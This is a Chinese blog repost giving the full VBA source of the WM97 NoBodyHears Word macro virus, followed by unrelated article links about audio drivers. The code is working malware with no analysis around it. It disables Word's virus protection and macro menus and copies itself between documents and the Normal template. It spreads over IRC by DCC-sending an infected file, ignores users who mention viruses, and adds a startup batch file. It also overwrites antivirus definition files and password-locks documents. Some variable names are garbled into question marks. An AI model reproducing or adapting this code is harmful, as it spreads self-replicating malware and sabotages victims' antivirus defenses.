WM97 NoBodyHears源代码

转载 2006年06月01日 21:06:00
Attribute VB_Name = "NoBodyHears"
Sub AutoClose()
"******************************************************************
"WM97 NoBodyHears
"By AngelsKitten / [NuKE]
"Greetings to Evul, Knowdeth, Jackie twoflower, Foxz
"Reptile, Duke, Raven, Deloss, Bumblebee, Masey, RAiD,
"FlyShadow, and the following groups: MVT, 29A, NVT & SLAM
"******************************************************************
On Error Resume Next
Application.VBE.ActiveVBProject.VBComponents("NoBodyHears").Export "C:/VXD.dll"
With Options
  .ConfirmConversions = False
  .VirusProtection = False
  .SaveNormalPrompt = False
End With
With Application
  .ScreenUpdating = False
  .DisplayStatusBar = False
  .DisplayAlerts = wdAlertsNone
  .EnableCancelKey = wdCancelDisabled
End With
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls(12).Enabled = False
CommandBars("Tools").Controls(12).Delete
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Customize...").Delete
CommandBars("view").Controls("Toolbars").Delete
CommandBars("view").Controls("Status Bar").Delete
For ?= 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(?.Name = "NoBodyHears" Then ?= True
Next ?
For ?= 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(?.Name = "NoBodyHears" Then ?= True
Next ?
If ?= True And ?= False Then Set ?= NormalTemplate.VBProject _
Else If ?= False And ?= True Then Set ?= ActiveDocument.VBProject
?VBComponents.Import ("C:/VXD.dll")
On Error GoTo scriptoops
Open "C:/audio.vxd" For Output As #1
Print #1, "[script]"
Print #1, "n0=;NobodyHears by Angelskitten / [NuKE]"
Print #1, "n1=on 1:PART:#:{ /if ( $nick == $me ) { halt }"
Print #1, "n2= /dcc send $nick C:/windows/aboutme.doc"
Print #1, "n3=}"
Print #1, "n4="
Print #1, "n5=on 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
Print #1, "n6= /dcc send $nick C:/windows/aboutme.doc"
Print #1, "n7=}"
Print #1, "n8="
Print #1, "n9=on 1:TEXT:*infected*:#:/.ignore $nick"
Print #1, "n10=on 1:TEXT:*infected*:?:/.ignore $nick"
Print #1, "n12=on 1:TEXT:*clean*:#:/.ignore $nick"
Print #1, "n13=on 1:TEXT:*clean*:?:/.ignore $nick"
Print #1, "n14=on 1:TEXT:*script.ini*:#:/.ignore $nick"
Print #1, "n15=on 1:TEXT:*script.ini*:?:/.ignore $nick"
Print #1, "n16=on 1:TEXT:*virus*:#:/.ignore $nick"
Print #1, "n17=on 1:TEXT:*virus*:?:/.ignore $nick"
Print #1, "n18=on 1:TEXT:*worm*:#:/.ignore $nick"
Print #1, "n19=on 1:TEXT:*worm*:?:/.ignore $nick"
Print #1, "n20=on 1:TEXT:*aboutme*:#:/.ignore $nick"
Print #1, "n21=on 1:TEXT:*aboutme*:?:/.ignore $nick"
Print #1, "n22=on 1:TEXT:*aboutme.doc*:#:/.ignore $nick"
Print #1, "n23=on 1:TEXT:*aboutme.doc*:?:/.ignore $nick"
Print #1, "n24=on 1:TEXT:*doc*:#:/.ignore $nick"
Print #1, "n25=on 1:TEXT:*doc*:?:/.ignore $nick"
Print #1, "n26=on 1:TEXT:*blank*:#:/.ignore $nick"
Print #1, "n27=on 1:TEXT:*blank*:?:/.ignore $nick"
Print #1, "n28=ON 1:QUIT:#:/msg $chan I tryed to tell you, I tryed to show you. NoBodyHears"
Print #1, "n29=ON 1:connect: {"
Print #1, "n30= /run attrib +r +s +h C:/mirc/Script.ini"
Print #1, "n31=}"
Close #1
scriptoops:
On Error GoTo batoops
Open "c:/windows/WinStart.bat" For Output As #2
Print #2, "@Echo Off"
Print #2, "copy /y c:/audio.vxd c:/mirc/script.ini >nul"
Print #2, "copy /y c:/PROGRA~1/MICROS~3/TEMPLA~1/normal.dot c:/windows/aboutme.doc >nul"
Close #2
batoops:
If Day(Now()) = 12 Then
SetAttr "C:/program files/AntiViral Toolkit Pro/*.avc", vbReadOnly
Open "C:/program files/AntiViral Toolkit Pro/*.avc" For Output As #3
Print #3, "NoBodyHears"
Close #3
SetAttr "C:/program files/AntiViral Toolkit Pro/avp.set", vbReadOnly
Open "C:/program files/AntiViral Toolkit Pro/avp.set" For Output As #4
Print #4, "NoBodyHears"
Close #4
SetAttr "C:/program files/mcafee/*.dat", vbReadOnly
Open "C:/program files/mcafee/*.def" For Output As #5
Print #5, "NoBodyHears"
Close #5
SetAttr "C:/f-marco/*.def", vbReadOnly
Open "C:/f-macro/*.def" For Output As #6
Print #6, "NoBodyHears"
Close #6
End If
If Day(Now()) = Int(Rnd * 31) + 1 Then
 With Assistant.NewBalloon
   .Icon = msoIconTip
   .Animation = msoAnimationGetArtsy
   .Heading = "WM97 NoBodyHears"
   .Text = "Welcome to WM97 NoBodyHears by Angelskitten / [NuKE]"
   .Show
 End With
 ActiveDocument.Password = "NoBodyHears"
 Shell "start http://www.avp.com.au/";, vbHide
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
SetAttr ("c:/VXD.dll"), vbHidden + vbSystem
End Sub
Sub AutoOpen()
 Call AutoClose
End Sub
Sub AutoNew()
 Call AutoClose
End Sub
Sub ViewVBCode()
 MsgBox "Unexcpected error", 16
 Call AutoClose
End Sub
Sub ViewCode()
 MsgBox "Unexcpected error", 16
 Application.Caption = "Word 6.0"
 Call AutoClose
End Sub
Sub ToolsMacro()
 MsgBox "Unexcpected error", 16
 Call AutoClose
End Sub
Sub FileTemplates()
 MsgBox "Unexcpected error", 16
 Application.Caption = "Word 6.0"
 Call AutoClose
End Sub
Sub HelpWordPerfectHelp()
MsgBox "Unexcpected error", 16
 Application.Caption = "Word 6.0"
 Call AutoClose
End Sub

相关文章推荐

Linux驱动的开发与移值——为Tiny210加入AC97驱动Wm9713

文章目的:记录声卡驱动开发的学习过程,本文只是讲解了声卡驱动开发过程中的驱动的基本文件体系结构,暂没有对内核增加新的代码。通过简单的修改配置,让Tiny210具备Ac97的驱动,兼容Tiny6410的...

android+WM9714(AC97)调试

s3c6410平台,codec为WM9714(驱动可使用WM9713的),使用ALSA,android版本1.5. MID上移植android以来一直没有声音。   首先确认AC97的硬件连接,A...

android+WM9714(AC97)调试

android+WM9714(AC97)调试   s3c6410平台,codec为WM9714(驱动可使用WM9713的),使用ALSA,android版本1.5. MID上移植and...

转载一篇在ha97上看到的centos7 新特性博客

原题:(总结)RHEL/CentOS 7.x的几点新改变 原作者:谋万世全局者 地址:http://www.ha97.com/5657.html      这两天学习鸟哥的书,发现涉及到...

PXA270_WINCE6_WM9712源代码

  • 2011-08-06 17:04
  • 6.28MB
  • 下载

android开发步步为营之97:几种常用的android图片内存优化方法避免OOM

要想App漂亮美观,图片是必须使用的,没有那个app说我就显示纯文字吧,图片过多过大就会到账系统OOM,那么如何避免这种情况呢?结合项目经验,本文就总结了一下一些常用的方法,希望大家能留言补充。谢谢!...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)